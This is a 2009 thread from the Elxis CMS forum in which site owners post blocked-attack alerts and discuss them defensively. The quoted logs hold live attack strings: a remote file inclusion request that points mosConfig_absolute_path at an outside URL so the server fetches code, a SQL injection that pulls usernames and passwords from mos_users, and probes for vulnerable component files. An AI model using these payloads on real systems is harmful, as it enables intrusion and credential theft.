Elxis CMS Forum

Support => Security => Topic started by: nikos65 on June 11, 2009, 17:59:37

Title: Multiple attacs today .. is someone testing ?
Post by: nikos65 on June 11, 2009, 17:59:37

This first 2 was at the same time  :o

Quote

ATTACKER IP ADDRESS: 87.106.135.14 (blocked)
Requested URI: /index.php?option=com_contact&Itemid=3//index2.php?option=com_content&task=section&id=1&Itemid=2//index2.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.socawaremme.com//img/fx29id1.txt??
DATE: 11-06-2009 02:32:24

Quote

ATTACKER IP ADDRESS: 87.106.135.14 (blocked)
Requested URI: //index2.php?option=com_content&task=section&id=1&Itemid=2//index2.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.socawaremme.com//img/fx29id1.txt??
DATE: 11-06-2009 02:32:24
Attack was logged

Quote

ATTACKER IP ADDRESS: 84.201.208.50 (blocked)
Requested URI: /index.php?option=com_contact&Itemid=3//index2.php?option=com_content&task=section&id=1&Itemid=2//index2.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.socawaremme.com//img/fx29id1.txt??
DATE: 11-06-2009 02:41:27

This are at the same site !!

Quote

ATTACKER IP ADDRESS: 72.32.68.170 (blocked)
Requested URI: /en/components/com_booklibrary/toolbar_ext.php
DATE: 11-06-2009 08:20:46

ATTACKER IP ADDRESS: 82.197.146.22 (blocked)
Requested URI: /components/com_vehiclemanager/toolbar_ext.php
DATE: 11-06-2009 08:25:48
ATTACKER IP ADDRESS: 85.214.74.133 (blocked)
Requested URI: /en/components/com_media_library/toolbar_ext.php
DATE: 11-06-2009 10:15:34
ATTACKER IP ADDRESS: 67.205.58.229 (blocked)
Requested URI: /components/com_media_library/toolbar_ext.php
DATE: 11-06-2009 10:31:08
ATTACKER IP ADDRESS: 82.197.146.38 (blocked)
Requested URI: /en/components/com_vehiclemanager/toolbar_ext.php
DATE: 11-06-2009 10:45:46

Title: Re: Multiple attacs today .. is someone testing ?
Post by: babis1 on June 11, 2009, 18:26:53

same sh..t

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 72.32.68.170 (blocked)
Requested URI: /components/com_realestatemanager/toolbar_ext.php
DATE: 10-06-2009 22:49:09
Attack was logged

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 85.214.74.133 (blocked)
Requested URI: /components/com_booklibrary/toolbar_ext.php
DATE: 11-06-2009 00:39:25
Attack was logged

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 67.205.58.229 (blocked)
Requested URI: /components/com_media_library/toolbar_ext.php
DATE: 11-06-2009 00:58:25
Attack was logged

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 82.192.68.25 (blocked)
Requested URI: /mydomain/components/com_booklibrary/toolbar_ext.php
DATE: 11-06-2009 13:29:50
Attack was logged

this one guy came back with the domain name  ;D

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 85.214.74.133 (blocked)
Requested URI: /mydomain(idio me to allo  ;D)/components/com_media_library/toolbar_ext.php
DATE: 11-06-2009 13:35:12
Attack was logged

Title: Re: Multiple attacs today .. is someone testing ?
Post by: babis1 on June 11, 2009, 18:28:56

maybe they thing that those sites are  joomla sites, because those com are for joomla

Title: Re: Multiple attacs today .. is someone testing ?
Post by: babis1 on June 12, 2009, 17:37:43

that kind of attack its my first time to see  ???
Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 211.110.19.178 (blocked)
Requested URI: /en/index.php?option=com_newsletter&Itemid=S@BUN&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*
DATE: 12-06-2009 16:57:29

Title: Re: Multiple attacs today .. is someone testing ?
Post by: Ivan Trebješanin on June 12, 2009, 17:48:02

This is attack on mambo component. Don't worry ;)

Title: Re: Multiple attacs today .. is someone testing ?
Post by: nikos65 on June 12, 2009, 18:02:28

Babis i had the same attack from the same ip  ???

Title: Re: Multiple attacs today .. is someone testing ?
Post by: CREATIVE Options on June 12, 2009, 19:10:18

Just kids playing with that they found around the Internet with some applications.

Nothing to worry.

Just for notice, One of my creations corfunews.eu yesterday get a heavy attack, targeting the DB.
Of course the Elxis Defender, stand in all the 44 different type of attacks !!

So don't worry, just scan your access logs relative the visits that the website gets.

Title: Re: Multiple attacs today .. is someone testing ?
Post by: xenios on June 14, 2009, 15:27:59

ATTACKER IP ADDRESS: 128.121.161.173 (blocked)
Requested URI: /components/com_booklibrary/toolbar_ext.php
DATE: 11-06-2009 05:07:05
Attack was logged
Site turned offline for 60 seconds

ATTACKER IP ADDRESS: 85.214.74.133 (blocked)
Requested URI: /components/com_realestatemanager/toolbar_ext.php
DATE: 11-06-2009 07:02:06
Attack was logged
Site turned offline for 60 seconds

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 82.192.68.25 (blocked)
Requested URI: /components/com_media_library/toolbar_ext.php
DATE: 11-06-2009 07:29:26
Attack was logged
Site turned offline for 60 seconds


I had the same ip attack...... With babis and nikos65...  But mine get first of all before even to the elxis.org!

I had to warn you i think...    ???

Title: Re: Multiple attacs today .. is someone testing ?
Post by: ks-net on June 14, 2009, 19:14:34

Quote

I had to warn you i think...    Huh

fortunately we all(are we all?.. this is the question) have the same tool(do we have it enabled?) to  to be warned if such an attack .... take place.

the major purpose of all those posts must be to inform users that don't use defender  to ENABLE DEFENDER